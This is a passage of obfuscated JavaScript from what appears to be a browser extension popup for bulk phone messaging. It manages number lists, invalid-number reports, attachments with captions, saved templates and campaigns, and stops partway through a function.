  const c = {
      mbVuy: function (f, b) {
        return f(b);
      },
      IntOf: "#numbers-display\x20.number-tag\x20.number",
      YTVup: "#numbers",
      xSJhU: function (f, b) {
        return f(b);
      },
      BsBBT: "change",
      vIHtb: function (f, b) {
        return f(b);
      },
      xraJR: ".number-tag.invalid",
      uxSWu: function (f, b) {
        return f > b;
      },
      HXKla: function (f, b) {
        return f(b);
      },
      mTEkZ: "500+",
      OabNT: function (f, b) {
        return f(b);
      },
      KpboS: "#invalid-numbers",
      oZEsN: "flex",
      uCDKG: "none",
      QOvuY: "#invalid-count",
      FBUSU: "#delete-all-numbers",
      MLdmX: "block",
      LPopy: "#numbers-input",
      AsuQR: "placeholder",
      NzfmM: "#numbers-display",
      suzxU: function (f, b) {
        return f(b);
      },
    },
    p = $(c["IntOf"]),
    g = [];
  p["each"](function () {
    let f = c["mbVuy"]($, this)["text"]()["trim"]();
    g["push"](f);
  }),
    c["mbVuy"]($, c["YTVup"])["val"](g["join"](",\x20")),
    c["xSJhU"]($, "#numbers")["trigger"](c["BsBBT"]);
  let T = c["vIHtb"]($, c["xraJR"])["length"];
  if (c["uxSWu"](c["HXKla"](Number, T), 0x1f4)) T = c["mTEkZ"];
  c["OabNT"]($, c["KpboS"])["css"]("display", T ? c["oZEsN"] : c["uCDKG"]),
    c["OabNT"]($, c["QOvuY"])["text"](T),
    $(c["FBUSU"])["css"]("display", g["length"] ? c["MLdmX"] : c["uCDKG"]),
    c["mbVuy"]($, c["LPopy"])["attr"](
      c["AsuQR"],
      g["length"] ? "" : getCustomNumberPlaceholder()
    ),
    $(c["NzfmM"])["animate"](
      { scrollTop: c["suzxU"]($, c["NzfmM"])[0x0]["scrollHeight"] },
      0x1f4
    );
}
function removeNumbers() {
  const c = {
    nihra: function (p) {
      return p();
    },
  };
  c["nihra"](unset_csv_styles),
    c["nihra"](hideCustomizationContainer),
    toggleUploadExcelText(!![]);
}
function handleDeleteBin() {
  const p = {};
  (p["ZtQAc"] = "display"),
    (p["ndEzi"] = "groups"),
    (p["dllNZ"] = function (T, f) {
      return T > f;
    }),
    (p["cnhDr"] = "block"),
    (p["ZuFEM"] = "none");
  const g = p;
  $("#delete-all")["css"](
    g["ZtQAc"],
    messageToggleSwitchValue === g["ndEzi"]
      ? g["dllNZ"](groups_selected["length"], 0x0)
        ? g["cnhDr"]
        : g["ZuFEM"]
      : contacts_selected["length"] > 0x0
      ? g["cnhDr"]
      : g["ZuFEM"]
  );
}
$(document)["ready"](async function () {
  const c = {
      rsjJn: "India",
      RCmoT: function (Y) {
        return Y();
      },
      TNgNF: function (Y, v) {
        return Y(v);
      },
      rSCDV: function (Y, v) {
        return Y(v);
      },
      XLSYX: ".number-tag",
      bjHul: ".number,\x20.delete-number-tag,\x20.number-tag-input",
      upHgL: function (Y, v) {
        return Y(v);
      },
      rCsyA: "#numbers-input",
      qDiXo:
        "Are\x20you\x20sure,\x20you\x20want\x20to\x20delete\x20all\x20numbers?",
      WEzUD: function (Y) {
        return Y();
      },
      LFUrn: "groups_container",
      fQTlm: function (Y, v) {
        return Y === v;
      },
      mweUE: "groups",
      VAWxA: function (Y, v) {
        return Y === v;
      },
      UyPeQ: function (Y, v) {
        return Y - v;
      },
      qQNQH: "contacts",
      GQsdl: function (Y, v) {
        return Y === v;
      },
      adprh: function (Y, v) {
        return Y - v;
      },
      syYtR: function (Y, v) {
        return Y === v;
      },
      jKtiz: function (Y, v) {
        return Y + v;
      },
      frLlq: function (Y, v) {
        return Y / v;
      },
      pCYDj: function (Y, v) {
        return Y - v;
      },
      aqiMv: function (Y, v) {
        return Y(v);
      },
      eizuf: ".invalid-numbers-popup",
      lDEbH: function (Y, v) {
        return Y(v);
      },
      udHzO: ".invalid-numbers-popup-container",
      uAVSs: "hide",
      UFjqf: ".number-tag.invalid",
      bZnnF: "#popup-invalid-count",
      lAcwR: function (Y, v) {
        return Y(v);
      },
      iBGmJ: function (Y, v) {
        return Y(v);
      },
      iHPRm: ".invalid-reason",
      fyQNZ: "Invalid\x20Number",
      uGwKs: function (Y, v) {
        return Y(v);
      },
      KFXUb: function (Y, v, l) {
        return Y(v, l);
      },
      OexIS: "Invalid\x20Numbers",
      SFRqw: function (Y, v) {
        return Y < v;
      },
      kBXrs: "input",
      WBotY: "#caption-checkbox",
      FspBD: "checked",
      IqqJd: ".captionCheckBoxDiv",
      gfzxR: "div",
      pehEd: "#caption-section",
      jsXuC: function (Y, v) {
        return Y < v;
      },
      eZSJq: function (Y, v) {
        return Y > v;
      },
      ityVS: function (Y, v) {
        return Y + v;
      },
      zfeCQ: "...",
      oDDGV: function (Y, v) {
        return Y > v;
      },
      qXCTl: function (Y, v) {
        return Y == v;
      },
      AIAyE: ".attachmentNames",
      Tzkmg: ".caption-input",
      XHqXP: "attachmentsData",
      OnyDZ: "#attachments-container",
      XcLsZ: "250px",
      HvbAf: "333px",
      Jucnl: function (Y) {
        return Y();
      },
      jmDuF: "captionForIndividualAttachment",
      wgsLM: ".caption-tooltip",
      AdUxN: function (Y) {
        return Y();
      },
      gYQTA: function (Y, v) {
        return Y(v);
      },
      dSFED: "click",
      eXzTP: function (Y, v) {
        return Y(v);
      },
      HUgQu: function (Y, v, l, Z, B) {
        return Y(v, l, Z, B);
      },
      OsRaU: function (Y, v) {
        return Y == v;
      },
      erWPm: function (Y, v) {
        return Y - v;
      },
      RYzTi: function (Y, v) {
        return Y <= v;
      },
      iZkxV: function (Y, v) {
        return Y / v;
      },
      iQKVm: function (Y, v) {
        return Y > v;
      },
      uCvHB: function (Y, v) {
        return Y && v;
      },
      QbMIu: function (Y, v) {
        return Y(v);
      },
      rbGQm: "none",
      lKTIE: "270px",
      eCUtB: "#message",
      vMyDI: ".show_more",
      ZFDEF: ".show_less",
      hmtME: "#add-attachments",
      PVHgO: "contrast-0",
      wPOaG: function (Y, v) {
        return Y(v);
      },
      umKTW: "#add-caption-container",
      afDFf: "hidden",
      RnXEC: function (Y, v) {
        return Y < v;
      },
      BCXhN: function (Y, v) {
        return Y(v);
      },
      WlfNL: function (Y) {
        return Y();
      },
      eOyEt: ":checked",
      gkEmM: function (Y, v, l, Z, B) {
        return Y(v, l, Z, B);
      },
      pfRpv: "change",
      rPLQA: "daysSinceInstallation",
      BFuaa: "isTooltipClosed",
      fmuhp: "tooltip_popup_count",
      VtwfK: function (Y, v) {
        return Y != v;
      },
      OJLrT: "application/pdf",
      zmihp: function (Y, v) {
        return Y(v);
      },
      xPrtA: function (Y, v) {
        return Y(v);
      },
      mEbjN: "#select-attachments",
      TRnnQ: function (Y, v) {
        return Y > v;
      },
      erKfx: function (Y, v) {
        return Y(v);
      },
      CRMmG: "Maximum\x207\x20files\x20can\x20be\x20send\x20at\x20a\x20time.",
      aHLkX: "show_advance_popup",
      OmsiP: "multiple_attachments",
      VvQLG: function (Y, v, l) {
        return Y(v, l);
      },
      sIAba: "add_attachments",
      hjwyX: function (Y) {
        return Y();
      },
      erpds: ".tooltip-container\x20",
      CnIPo: "help_popup",
      fpjMR: "block",
      YsiDQ: "first_visit_attachment",
      MrPos: "first_attachment_click_count",
      hHDrp: function (Y, v) {
        return Y !== v;
      },
      hWYPy: "#message_type_groups",
      IOHPH: function (Y, v) {
        return Y(v);
      },
      OxauQ: "#message_type_contact",
      iBWzA: ".upload_excel_text",
      jWlZS: "#csv",
      iIWNe: function (Y, v) {
        return Y(v);
      },
      YRQxu: function (Y, v) {
        return Y !== v;
      },
      pbRyV: "numbers",
      kDjfI: "#message_type_numbers",
      PpTTb: function (Y, v) {
        return Y(v);
      },
      VXrWO: function (Y, v) {
        return Y(v);
      },
      DtTwE: "unsaved_contacts_demo",
      UYnGu: function (Y, v) {
        return Y(v);
      },
      VjCGa: function (Y, v) {
        return Y(v);
      },
      OSnBv: "premiumUsageObject",
      ocOgQ: "add_caption",
      UHsrG: function (Y, v) {
        return Y !== v;
      },
      bITgq: function (Y, v) {
        return Y + v;
      },
      SFyEU: function (Y, v) {
        return Y < v;
      },
      ZXTLf: "4|2|3|0|1",
      uHoCk: ".add-tooltip-overlay",
      XkYTG: ".tooltip-popup-container",
      rrzWw: function (Y, v) {
        return Y == v;
      },
      qaDcI: function (Y, v) {
        return Y(v);
      },
      WKVaN: "#template-selector",
      zNLPq: function (Y, v) {
        return Y(v);
      },
      tIEbB: "#template-save-icon",
      RFcjQ: function (Y, v) {
        return Y(v);
      },
      DXcZy: "right-side",
      CgQOM: "templates",
      Xplhx: function (Y, v) {
        return Y(v);
      },
      vUrRm: "active",
      bbveF: function (Y, v) {
        return Y(v);
      },
      vBhOy: "#templates-container",
      IVKYK: function (Y, v) {
        return Y + v;
      },
      gETrn: function (Y, v) {
        return Y / v;
      },
      spkFs: function (Y, v) {
        return Y - v;
      },
      pFvKu: ".template-save-popup",
      enXte: "top",
      kChLu: "#template-msg",
      HCXsQ: function (Y, v) {
        return Y(v);
      },
      qJFch: "#template-name",
      EmpFn: ".template-save-popup-container",
      GtsAl: ".template-container",
      knoRy: ".tooltip-popup-content",
      uOGvy: "#edit-template-index",
      dGDDm: function (Y, v) {
        return Y(v);
      },
      joids: "save_template_message",
      JCJkd: function (Y, v) {
        return Y + v;
      },
      uBEcg: function (Y, v) {
        return Y / v;
      },
      BIbHr: function (Y, v) {
        return Y - v;
      },
      hdAfX: function (Y, v) {
        return Y(v);
      },
      vTqkC: function (Y, v) {
        return Y(v);
      },
      KhlLT: function (Y, v) {
        return Y(v);
      },
      YVsoo: function (Y, v) {
        return Y(v);
      },
      zJiDB: function (Y, v) {
        return Y >= v;
      },
      GwsUd: function (Y, v) {
        return Y(v);
      },
      ciKsx: function (Y, v) {
        return Y(v);
      },
      sFqpt: "Nothing\x20to\x20show!",
      ajzwf: function (Y, v) {
        return Y(v);
      },
      CpTxA: ".template-text",
      DOkTR: function (Y, v) {
        return Y(v);
      },
      ivLDA: function (Y, v) {
        return Y(v);
      },
      gitrj: function (Y, v) {
        return Y(v);
      },
      jZjpY: function (Y) {
        return Y();
      },
      XUhKA: function (Y, v) {
        return Y(v);
      },
      MOZgP: function (Y, v) {
        return Y(v);
      },
      rTKnJ: function (Y, v) {
        return Y(v);
      },
      PKnDx: "#campaign-selector",
      XcFvi: "#campaign-save-icon",
      sGyoY: "campaigns",
      bXMBQ: function (Y) {
        return Y();
      },
      OIznH: function (Y, v) {
        return Y(v);
      },
      uvwIi: function (Y, v) {
        return Y(v);
      },
      RNquU: "#numbers",
      UbSTI: function (Y, v) {
        return Y / v;
      },
      sXicy: function (Y, v) {
        return Y(v);
      },
      RxMGG: ".campaign-save-popup",
      mkkQz: function (Y, v) {
        return Y(v);
      },
      PexhX: function (Y, v) {
        return Y(v);
      },
      HRKtt: "#campaign-name",
      ytxvG: function (Y, v) {
        return Y === v;
      },
      gwebp: function (Y, v) {
        return Y(v);
      },
      HGNDF: function (Y, v) {
        return Y(v);
      },
      oIoFi: function (Y, v) {
        return Y(v);
      },
      DiVvO: function (Y, v) {
        return Y(v);
      },
      hZplc: "#edit-index",
      lhRaj: function (Y, v) {
        return Y(v);
      },
      pSPNZ: "save_campaign_numbers",
      zKuQW: function (Y, v) {
        return Y(v);
      },
      aREis: "#campaign-numbers",
      EohoI: function (Y, v) {
        return Y(v);
      },
      QOtjT: function (Y, v) {
        return Y + v;
      },
      vseZR: function (Y, v) {
        return Y / v;
      },
      GPLZN: function (Y, v) {
        return Y - v;
      },
      VPRys: function (Y, v) {
        return Y(v);
      },
      teDQb: ".campaign-save-popup-container",
      QugMx: function (Y, v) {
        return Y(v);
      },
      TrXNL: function (Y) {
        return Y();
      },
      rEHAx: function (Y, v) {
        return Y > v;
      },
      REWnu: "#campaigns-container",
      CGnig: function (Y, v) {
        return Y(v);
      },
      aHnDp: ".campaign-edit",
      sqTzi: function (Y) {
        return Y();
      },
      TfWvz: "select_campaign_numbers",
      tSRrD: function (Y, v) {
        return Y(v);
      },
      pKdEw: "1|3|2|4|0",
      UXTnb: ".invalid-excel-popup-container",
      xjYso: function (Y) {
        return Y();
      },
      rAVcj: function (Y, v) {
        return Y(v);
      },
      cjFEZ: function (Y, v) {
        return Y - v;
      },
      TQucy: function (Y, v) {
        return Y >= v;
      },
      qyNgc: function (Y, v) {
        return Y(v);
      },
      XgcSN: function (Y, v) {
        return Y + v;
      },
      ARnQD: "Campaign\x20",
      HSUiy: "#reports-container",
      ubdsw: function (Y, v) {
        return Y(v);
      },
      TSjze: function (Y, v) {
        return Y(v);
      },
      YpLfX: ".report-download",
      EeCJn: function (Y, v) {
        return Y(v);
      },
      ZijHw: function (Y, v, l) {
        return Y(v, l);
      },
      RKPLH: "href",
      NAQvt: "download",
      vebXT: function (Y, v) {
        return Y(v);
      },
      ECKOV: function (Y, v) {
        return Y(v);
      },
      ChJYr: "deliveryReports",
      QJTcL: "9|7|1|6|8|2|3|4|5|0",
      zapKu: "hide_visibility",
      qvPVf: function (Y, v) {
        return Y === v;
      },
      EXKix: function (Y, v) {
        return Y(v);
      },
      JqfPv: "#select-all",
      oSfdp: function (Y, v) {
        return Y === v;
      },
      VhYiV: function (Y, v) {
        return Y(v);
      },
      cusAa: function (Y, v) {
        return Y(v);
      },
      BqFAT: "#groups_container",
      ufufF: ".search_group_input",
      yassD: function (Y, v) {
        return Y === v;
      },
      biwkb: ".select_all",
      WoxKo: ".dropdown-container",
      liraz: ".dropdown",
      bXkfw: ".groups_searchbar",
      EMWYh: ".message-box",
      hKsrW: "[data-translate-text]",
      tYyeE: "[data-translate-placeholder]",
      wtcgC: function (Y, v) {
        return Y === v;
      },
      XPAmF: "default",
      dZiar: function (Y, v) {
        return Y(v);
      },
      AbGZy: function (Y, v, l, Z, B) {
        return Y(v, l, Z, B);
      },
      wKTlk: "-----------------------",
      pFEBO: function (Y, v, l, Z) {
        return Y(v, l, Z);
      },
      Agntg: "language",
      RbYcK: "language-selector",
      SPiDt: "English\x20(Default)",
      lDVNC: "currentLanguage",
      ShTjP: "2|4|1|3|0",
      cmnlW: function (Y, v) {
        return Y(v);
      },
      eqZWC: "translate_language",
      zbIGH: function (Y, v) {
        return Y(v);
      },
      uMyDw: function (Y, v, l) {
        return Y(v, l);
      },
      fxYYf: "translatedCache",
      TLzUt: "extension-version",
      VVlhh: "popup_numbers",
      GJZKh: "blur\x20keydown\x20keyup",
      BlYzL: "#numbers-display",
      jTeja: ".number",
      WziiJ: function (Y, v) {
        return Y(v);
      },
      PWaZi: ".delete-number-tag",
      SAKkN: function (Y, v) {
        return Y(v);
      },
      qnxXu: "#delete-all-numbers",
      xIRSl: "#delete-all",
      pwSig: "#invalid-numbers",
      jTvfK: function (Y, v) {
        return Y(v);
      },
      zoiuk: ".invalid-numbers-popup-close-button",
      nJezr: "#remove-all-invalid",
      RMjBk: "#download-all-invalid",
      tUVsb: function (Y) {
        return Y();
      },
      BydMP: ".group",
      yEUsp: ".contact",
      BgFka: ".customize",
      nMTgo: ".attachments",
      zWtrm: ".unsaved",
      oQVcG: "lastTooltipOpenDate",
      ymeTx: "installDate",
      hZFkL: function (Y, v) {
        return Y(v);
      },
      PeNrm: ".close-tooltip",
      AimLk: "#save-template-form",
      qMHeK: ".template-popup-close-button",
      DTHHx: "click\x20change",
      YDiDf: function (Y, v) {
        return Y(v);
      },
      bMIyl: "#save-campaign-form",
      abOcS: ".campaign-popup-close-button",
      SvLPd: ".invalid-excel-popup-close-button",
      ZzTIR: ".template-excel-button",
      IwKNJ: "#report-selector",
      sOmpN: function (Y, v) {
        return Y(v);
      },
      cGgMi: function (Y) {
        return Y();
      },
      cGRsc: "#language-selector",
    },
    p = chrome["runtime"]["getManifest"](),
    g = p["version"];
  (document["getElementById"](c["TLzUt"])["textContent"] = g),
    chrome["storage"]["local"]["get"](["country_info", c["VVlhh"]], (Y) => {
      const v = {};
      (v["name"] = c["rsjJn"]),
        (v["name_code"] = "IN"),
        (v["dial_code"] = "91"),
        (country_info = Y["country_info"] || v),
        c["RCmoT"](addCountryCodeSelector),
        (popup_numbers = Y["popup_numbers"] || ""),
        c["TNgNF"](replaceNumbers, popup_numbers);
    }),
    c["Xplhx"]($, c["rCsyA"])["on"](c["GJZKh"], function (Y) {
      if (Y["keyCode"] && ![0xd, 0xbc]["includes"](Y["keyCode"])) return;
      const v = c["rSCDV"]($, this)["val"]();
      c["rSCDV"]($, this)["val"](""), addNumberTags(v);
    }),
    c["erKfx"]($, c["BlYzL"])["on"]("click", c["jTeja"], function () {
      const Y = c["rSCDV"]($, this);
      c["TNgNF"](editNumberTag, Y);
    }),
    c["WziiJ"]($, "#numbers-display")["on"](
      c["dSFED"],
      c["PWaZi"],
      function () {
        c["TNgNF"]($, this)["parent"](c["XLSYX"])["remove"]();
        let Y = $(this)["parent"](c["XLSYX"])["children"]()["text"]();
        for (let l = 0x0; l < csv_data["length"]; l++) {
          if (
            csv_data[l][0x0] &&
            csv_data[l][0x0]["toString"]()["includes"](Y)
          ) {
            csv_data["splice"](l, 0x1);
            break;
          }
        }
        const v = {};
        (v["csv_data"] = csv_data),
          chrome["storage"]["local"]["set"](v),
          c["RCmoT"](updateNumbersAndDisplay),
          c["TNgNF"](toggleUploadExcelText, !![]);
      }
    ),
    c["cmnlW"]($, "#numbers-display")["on"](c["dSFED"], function (Y) {
      const v = $(Y["target"]);
      v && !v["is"](c["bjHul"]) && c["upHgL"]($, c["rCsyA"])["focus"]();
    }),
    c["SAKkN"]($, c["qnxXu"])["on"](c["dSFED"], async function () {
      let Y = await translate(c["qDiXo"]);
      const v = c["TNgNF"](confirm, Y);
      v && (c["upHgL"](replaceNumbers, ""), c["WEzUD"](removeNumbers));
    }),
    c["VPRys"]($, "#groups_container")["on"]("scroll", function () {
      const Y = document["getElementById"](c["LFUrn"]);
      let v = c["rSCDV"]($, "#groups_container\x20.dropdown-item:visible")[
        "length"
      ];
      if (
        c["fQTlm"](messageToggleSwitchValue, c["mweUE"]) &&
        c["VAWxA"](
          c["UyPeQ"](allGroups["length"], groups_selected["length"]),
          v
        )
      )
        lastScrollPosition = Y["scrollTop"];
      else
        messageToggleSwitchValue === c["qQNQH"] &&
          c["GQsdl"](
            c["adprh"](allContacts["length"], contacts_selected["length"]),
            v
          ) &&
          (lastScrollPosition_contacts = Y["scrollTop"]);
    }),
    c["ajzwf"]($, c["xIRSl"])["on"](c["dSFED"], async function () {
      let Y = await c["TNgNF"](
        translate,
        "Are\x20you\x20sure,\x20you\x20want\x20to\x20delete\x20all\x20" +
          (c["syYtR"](messageToggleSwitchValue, c["mweUE"])
            ? "groups"
            : c["qQNQH"]) +
          "?"
      );
      const v = c["upHgL"](confirm, Y);
      if (v) {
        if (messageToggleSwitchValue === c["mweUE"]) {
          groups_selected = [];
          const l = {};
          (l["groups_selected"] = groups_selected),
            chrome["storage"]["local"]["set"](l);
        } else {
          contacts_selected = [];
          const Z = {};
          (Z["contacts_selected"] = contacts_selected),
            chrome["storage"]["local"]["set"](Z);
        }
        updateGroupBoxDisplay();
      }
    }),
    $(c["biwkb"])["on"]("click", function () {
      !fetching && c["WEzUD"](handleSelectAll), c["RCmoT"](handleDeleteBin);
    }),
    c["qyNgc"]($, c["pwSig"])["on"](c["dSFED"], function () {
      const Y =
        Math["max"](
          0x0,
          c["jKtiz"](
            c["frLlq"](c["pCYDj"](window["innerHeight"], 0xfa), 0x2),
            window["pageYOffset"]
          )
        ) + "px";
      c["aqiMv"]($, c["eizuf"])["css"]("top", Y),
        c["lDEbH"]($, c["udHzO"])["removeClass"](c["uAVSs"]);
      const v = c["rSCDV"]($, c["UFjqf"])["length"];
      c["rSCDV"]($, c["bZnnF"])["text"](v);
    }),
    c["jTvfK"]($, c["zoiuk"])["on"](c["dSFED"], function () {
      c["lAcwR"]($, ".invalid-numbers-popup-container")["addClass"](c["uAVSs"]);
    });
  function T() {
    let Y = [];
    c["rSCDV"]($, ".number-tag.invalid")["each"](function () {
      Y["push"]($(this)["index"]());
    });
    let v = csv_data["filter"]((Z, B) => !Y["includes"](B - 0x1));
    csv_data = v;
    const l = {};
    (l["csv_data"] = v), chrome["storage"]["local"]["set"](l);
  }
  $(c["nJezr"])["on"](c["dSFED"], function () {
    T(),
      c["iBGmJ"]($, c["UFjqf"])["remove"](),
      c["lAcwR"]($, c["udHzO"])["addClass"]("hide"),
      updateNumbersAndDisplay();
  }),
    $(c["RMjBk"])["on"](c["dSFED"], function () {
      const Y = {
          FtULg: function (l, Z) {
            return c["jKtiz"](l, Z);
          },
          aTRIa: function (l, Z) {
            return l(Z);
          },
          PZxOn: ".number",
          faLVX: function (l, Z) {
            return l(Z);
          },
          kVNfT: c["iHPRm"],
        },
        v = [[c["fyQNZ"], "Reason"]];
      c["uGwKs"]($, c["UFjqf"])["each"](function () {
        const l = Y["FtULg"](
            country_info["dial_code"],
            Y["aTRIa"]($, this)["find"](Y["PZxOn"])["text"]()
          ),
          Z = Y["faLVX"]($, this)["find"](Y["kVNfT"])["text"]();
        v["push"]([l, Z]);
      }),
        c["KFXUb"](download_csv, v, c["OexIS"]),
        c["TNgNF"]($, c["udHzO"])["addClass"](c["uAVSs"]);
    });
  function f(Y, v, l, Z) {
    const B = {};
    B["QayKM"] = c["kBXrs"];
    const Q = B;
    let d = l;
    if (
      c["uGwKs"]($, c["WBotY"])["prop"](c["FspBD"]) &&
      !document["querySelector"](c["IqqJd"])
    ) {
      let R = document["createElement"](c["gfzxR"]);
      (R["className"] = "captionCheckBoxDiv"),
        document["querySelector"](c["pehEd"])["insertBefore"](
          R,
          document["querySelector"](c["pehEd"])["children"][0x0]
        );
    }
    let m = "",
      D = "";
    for (let S = 0x0; c["jsXuC"](S, Y); S++) {
      let q = v[S],
        k = q["name"]["trim"]();
      if (c["eZSJq"](k["length"], 0x9))
        k = c["ityVS"](q["name"]["trim"]()["substring"](0x0, 0x9), c["zfeCQ"]);
      else k = q["name"]["trim"]();
      S == 0x0
        ? ((m +=
            "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<input\x20type=\x22radio\x22\x20id=radio" +
            S +
            "\x20name=\x22attachment\x22\x20class=\x22attachmentNames\x22\x20value=" +
            k +
            "\x20checked>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<label>" +
            k +
            "</label></div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"),
          (D +=
            "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<textarea\x20type=\x22text\x22\x20id=\x22caption-input" +
            S +
            "\x22\x20class=\x22caption-input\x22\x20style=\x22width:\x20434px;\x20font-size:\x2012px;\x20padding:\x207px;resize:none\x22\x20placeholder=\x22Type\x20your\x20caption\x20for\x20the\x20file:\x20" +
            (c["oDDGV"](q["name"]["trim"]()["length"], 0x32)
              ? c["jKtiz"](
                  q["name"]["trim"]()["substring"](0x0, 0x32),
                  c["zfeCQ"]
                )
              : q["name"]["trim"]()) +
            "\x22\x20data-translate-placeholder></textarea>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"))
        : ((m +=
            "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<input\x20type=\x22radio\x22\x20name=\x22attachment\x22\x20class=\x22attachmentNames\x22\x20id=radio" +
            S +
            "\x20value=" +
            k +
            ">\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<label>" +
            k +
            "</label></div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"),
          (D +=
            "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<textarea\x20type=\x22text\x22\x20id=\x22caption-input" +
            S +
            "\x22\x20class=\x22caption-input\x20hide\x22\x20style=\x22width:\x20434px;\x20font-size:\x2012px;\x20padding:\x207px;resize:none\x22\x20placeholder=\x22Type\x20your\x20caption\x20for\x20the\x20file:\x20" +
            (c["oDDGV"](q["name"]["trim"]()["length"], 0x32)
              ? c["ityVS"](
                  q["name"]["trim"]()["substring"](0x0, 0x32),
                  c["zfeCQ"]
                )
              : q["name"]["trim"]()) +
            "\x22\x20data-translate-placeholder></textarea>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"));
    }
    if (c["qXCTl"](Y, 0x1)) m = "";
    c["lAcwR"]($, c["IqqJd"])["html"]("" + m),
      c["iBGmJ"]($, ".captionTextAreas")["html"]("" + D);
    if (Z)
      for (let r = 0x0; c["SFRqw"](r, Y); r++) {
        if (document["querySelector"]("#caption-input" + r) && l[r])
          document["querySelector"]("#caption-input" + r)["value"] = l[r];
      }
    document["querySelectorAll"](c["AIAyE"])["forEach"]((y) => {
      const z = {
        mgSCS: function (K, I) {
          return c["SFRqw"](K, I);
        },
        dzbOG: c["uAVSs"],
      };
      y["addEventListener"]("change", () => {
        for (let K = 0x0; z["mgSCS"](K, Y); K++) {
          if (document["getElementById"]("radio" + K)["checked"])
            document["querySelector"]("#caption-input" + K)["classList"][
              "remove"
            ](z["dzbOG"]);
          else {
            if (
              !document["getElementById"]("radio" + K)["classList"]["contains"](
                z["dzbOG"]
              )
            )
              document["querySelector"]("#caption-input" + K)["classList"][
                "add"
              ](z["dzbOG"]);
          }
        }
      });
    }),
      document["querySelectorAll"](c["Tzkmg"])["forEach"]((y) => {
        y["addEventListener"](Q["QayKM"], async () => {
          var z = y["id"]["substring"](y["id"]["search"](/\d/));
          let K = await new Promise((X) => {
            chrome["storage"]["local"]["get"](
              ["captionForIndividualAttachment"],
              (E) => {
                X(E["captionForIndividualAttachment"]);
              }
            );
          });
          K[z] = y["value"];
          const I = {};
          (I["captionForIndividualAttachment"] = K),
            chrome["storage"]["local"]["set"](I);
        });
      });
  }
  async function b() {
    const Y = {
      uIXFu: function (Z, B) {
        return Z <= B;
      },
      WWJtu: function (Z) {
        return c["AdUxN"](Z);
      },
      tPdRV: function (Z, B) {
        return c["gYQTA"](Z, B);
      },
      EwmZU: c["jmDuF"],
      BYCKn: c["dSFED"],
      sGnAg: "none",
      KRENA: function (Z, B) {
        return c["eXzTP"](Z, B);
      },
      rviKO: function (Z, B, Q, d, m) {
        return c["HUgQu"](Z, B, Q, d, m);
      },
    };
    c["uGwKs"]($, c["OnyDZ"])["html"](
      "<span\x20style=\x22margin-right:10px\x22>Fetching...</span>"
    );
    let v = await new Promise((Z) => {
        chrome["storage"]["local"]["get"]([c["XHqXP"]], (B) => {
          Z(B["attachmentsData"] || []);
        });
      }),
      l = await new Promise((Z) => {
        chrome["storage"]["local"]["get"]("showAllAttachments", (B) => {
          Z(B["showAllAttachments"] || ![]);
        });
      });
    if (v["length"] > 0x0) {
      let Z = "",
        B = v["length"],
        Q = !![],
        d = !![];
      for (let m = 0x0; m < B; m++) {
        let D = v[m],
          R = !![],
          S = D["name"]["trim"]();
        c["OsRaU"](c["erWPm"](B, 0x1), m) && (R = ![]);
        if (c["RYzTi"](B, 0x3))
          S["length"] > 0x18 / B &&
            (S = S["slice"](0x0, c["iZkxV"](0x18, B)) + c["zfeCQ"]);
        else {
          if (c["jsXuC"](m, 0x2))
            c["iQKVm"](S["length"], 0x8) &&
              (S = S["slice"](0x0, 0x8) + c["zfeCQ"]);
          else !l && (d = ![]);
        }
        if (l) {
          if (S["length"] > 0x7)
            S = c["jKtiz"](D["name"]["trim"]()["slice"](0x0, 0x7), "...");
          else S = D["name"]["trim"]();
        }
        if (c["uCvHB"](d, R))
          Z +=
            "<span\x20class=\x22attachment-name\x22>" +
            S +
            "<img\x20src=\x22/logo/remove-attachments-icon.png\x22\x20alt=\x22Remove\x20Icon\x22\x20id=\x22" +
            m +
            "\x22/>,</span>";
        else
          d &&
            (Z +=
              "<span\x20class=\x22attachment-name\x22>" +
              S +
              "<img\x20src=\x22/logo/remove-attachments-icon.png\x22\x20alt=\x22Remove\x20Icon\x22\x20id=\x22" +
              m +
              "\x22/></span>");
      }
      B > 0x3 &&
        !l &&
        (Z +=
          "<span\x20class=\x22show_more\x22\x20style=\x22margin-right:\x205px;\x22>and\x20<span\x20style=\x22text-decoration:underline;\x22>" +
          c["erWPm"](B, 0x2) +
          "\x20more</span></span>");
      B > 0x3 &&
        l &&
        (Z +=
          "<span\x20class=\x22show_less\x22\x20style=\x22margin-right:\x205px;\x22>...\x20<span\x20style=\x27text-decoration:underline\x27>show\x20less</span></span>");
      c["TNgNF"]($, c["OnyDZ"])["html"](Z);
      if (l) {
        if (c["OsRaU"](c["QbMIu"]($, "#message")["val"]()["length"], 0x0))
          document["querySelector"](c["OnyDZ"])["style"]["maxWidth"] =
            c["XcLsZ"];
        else
          document["querySelector"](c["OnyDZ"])["style"]["maxWidth"] =
            c["HvbAf"];
      } else
        (document["querySelector"](c["OnyDZ"])["style"]["textDecoration"] =
          c["rbGQm"]),
          (document["querySelector"](c["OnyDZ"])["style"]["maxWidth"] =
            c["lKTIE"]);
      document["querySelector"](c["eCUtB"])["addEventListener"]("input", () => {
        if (c["qXCTl"]($("#message")["val"]()["length"], 0x0))
          document["querySelector"](c["OnyDZ"])["style"]["maxWidth"] =
            c["XcLsZ"];
        else
          document["querySelector"](c["OnyDZ"])["style"]["maxWidth"] =
            c["HvbAf"];
      }),
        document["querySelectorAll"](".attachment-name\x20img")["forEach"](
          (q) => {
            const k = {
